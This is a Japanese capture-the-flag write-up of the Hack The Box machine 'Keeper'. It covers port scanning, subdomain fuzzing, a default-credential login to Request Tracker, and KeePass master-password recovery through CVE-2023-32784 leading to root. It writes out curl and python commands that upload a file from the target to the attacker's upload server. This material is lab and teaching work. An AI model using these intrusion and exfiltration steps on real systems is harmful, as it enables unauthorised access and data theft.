初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Keeper」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
Discovery
ポートスキャン
今回はRustScanで高速スキャンしてみた。
┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.129.201.50 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.201.50:22
Open 10.129.201.50:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-12 22:47 EDT
Initiating Ping Scan at 22:47
Scanning 10.129.201.50 [4 ports]
Completed Ping Scan at 22:47, 0.28s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:47
Completed Parallel DNS resolution of 1 host. at 22:47, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:47
Scanning 10.129.201.50 [2 ports]
Discovered open port 22/tcp on 10.129.201.50
Discovered open port 80/tcp on 10.129.201.50
Completed SYN Stealth Scan at 22:47, 0.29s elapsed (2 total ports)
Nmap scan report for 10.129.201.50
Host is up, received reset ttl 63 (0.27s latency).
Scanned at 2023-08-12 22:47:03 EDT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「keeper.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。
Collection
ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.129.29.117 keeper.htb tickets.keeper.htb
疎通確認を行う。
┌──(root㉿kali)-[~]
└─# ping tickets.keeper.htb
実際にHTTPでアクセスするとtickets.keeper.htb
にリダイレクトされる。
サイト探索
httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffuf
で探索。
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://tickets.keeper.htb/ -H "HOST: FUZZ.keeper.htb" -fs 149 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://tickets.keeper.htb/
:: Wordlist : FUZZ: /root/work/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.keeper.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 149
________________________________________________
[Status: 200, Size: 4236, Words: 407, Lines: 154, Duration: 295ms]
* FUZZ: tickets
:: Progress: [100000/100000] :: Job [1/1] :: 534 req/sec :: Duration: [0:03:21] :: Errors: 0 ::
何もなさそう。
ブラウジング
ブラウザでアクセスすると、Best Practical Request Tracker(RT)のログイン画面が見える。
以下のデフォルトのPasswordを投入するとrootアカウントで管理画面に侵入することが出来た。
更にブラウジングしていく。
あー、CSRF対策のトークンでうるさい。。
頑張ってブラウジングしていると、「lnorgaard」のUserを発見する。
このUserを調査すると以下のコメントが記載されているページを発見した。
このPasswordでSSHしてみる。
侵入成功しました。Userフラグゲットです。
え、簡単...
Privilege Escalation
Transfer
怪しいファイルRT30000.zip
があるのでlocalに転送して解析したいと思います。
攻撃マシンにuploadserverを立てます。
┌──(root㉿kali)-[~/work]
└─# python -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
攻略対象マシンで以下のコマンドを打ちます。
lnorgaard@keeper:~$ python3 -c "import requests;requests.post(\"http://10.10.14.68:8000/upload\",files={\"files\":open(\"/home/lnorgaard/RT30000.zip\",\"rb\")})"
上手いこと通らないので素直にcurl
します。
lnorgaard@keeper:~$ curl -X POST http://10.10.14.68:8000/upload -F 'files=@/home/lnorgaard/RT30000.zip'
┌──(root㉿kali)-[~/work]
└─# python -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.208.133 - - [14/Aug/2023 05:59:56] [Uploaded] "RT30000.zip" --> /root/work/RT30000.zip
10.129.208.133 - - [14/Aug/2023 05:59:56] "POST /upload HTTP/1.1" 204 -
きました。中身を確認すると、KeePass
のダンプファイルとkdbxファイルがあります。
┌──(root㉿kali)-[~/work]
└─# ls -tla
total 335744
drwxr-xr-x 2 root root 4096 Aug 14 06:00 .
-rw------- 1 root root 87391651 Aug 14 05:59 RT30000.zip
-rwxr-x--- 1 root root 253395188 May 24 06:51 KeePassDumpFull.dmp
-rwxr-x--- 1 root root 3630 May 24 06:51 passcodes.kdbx
KeePass
CVE-2023-32784
このままjohnさんでKeePassのkdbxファイルを開くPasswordを総当たりしてもいいのですが、折角Dumpファイルがあるので別の手段があるかもしれません。ネットで検索すると、以下の記事が見つかりました。
GithubでこのCVE-2023-32784を利用できるToolを探ると以下のリポジトリを発見!
.NETのToolなのでWindows環境が何かと便利なのでそっちで解析します。
以下のようにVisual Studioでコンパイルします。
実行!
ん????読めないCharacterがあるってことかな???
じゃ、UTF-8、、、うまくいかない、、、、
ナニコレ、、、、
Rødgrød
そういえばlnorgaardでRTにログインした際に変なラテン文字が見えたな...
という事でラテン文字の正規表現をコードに加えてコンパイルしてみる。
実行!
出てきたけど、、、なんこれ、、、
まぁいいや、これでkdbxファイルを開いてみます。
、、、ダメだ。
意味わからん。検索しよう。。。
なんだこれは。
Wikiではデンマークの料理だと解説されている。「rødgrød med fløde」で入力してみる。
みえた!!!!
これはデンマーク人にはラッキー問題かもしれないな。
このPassでSSHしてみる。
だめだった。ならこのKeePassのNoteに記載されているPuTTYで入ってみる。
※Windows環境大活躍
PuTTY
PuTTY-User-Key-File-3: ssh-rsa
と書いてある部分をすべてコピーし、ppk
ファイルで保存します。
秘密鍵にこのppk
ファイルを指定してログインします。
きた!!!root権限奪取!!!!
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxは簡単といいつつ捻りのある問題でした。。。
こんなんデンマーク人じゃないとわからんて!
今回もセキュリティエンジニアの皆さんの助けになればなと思います。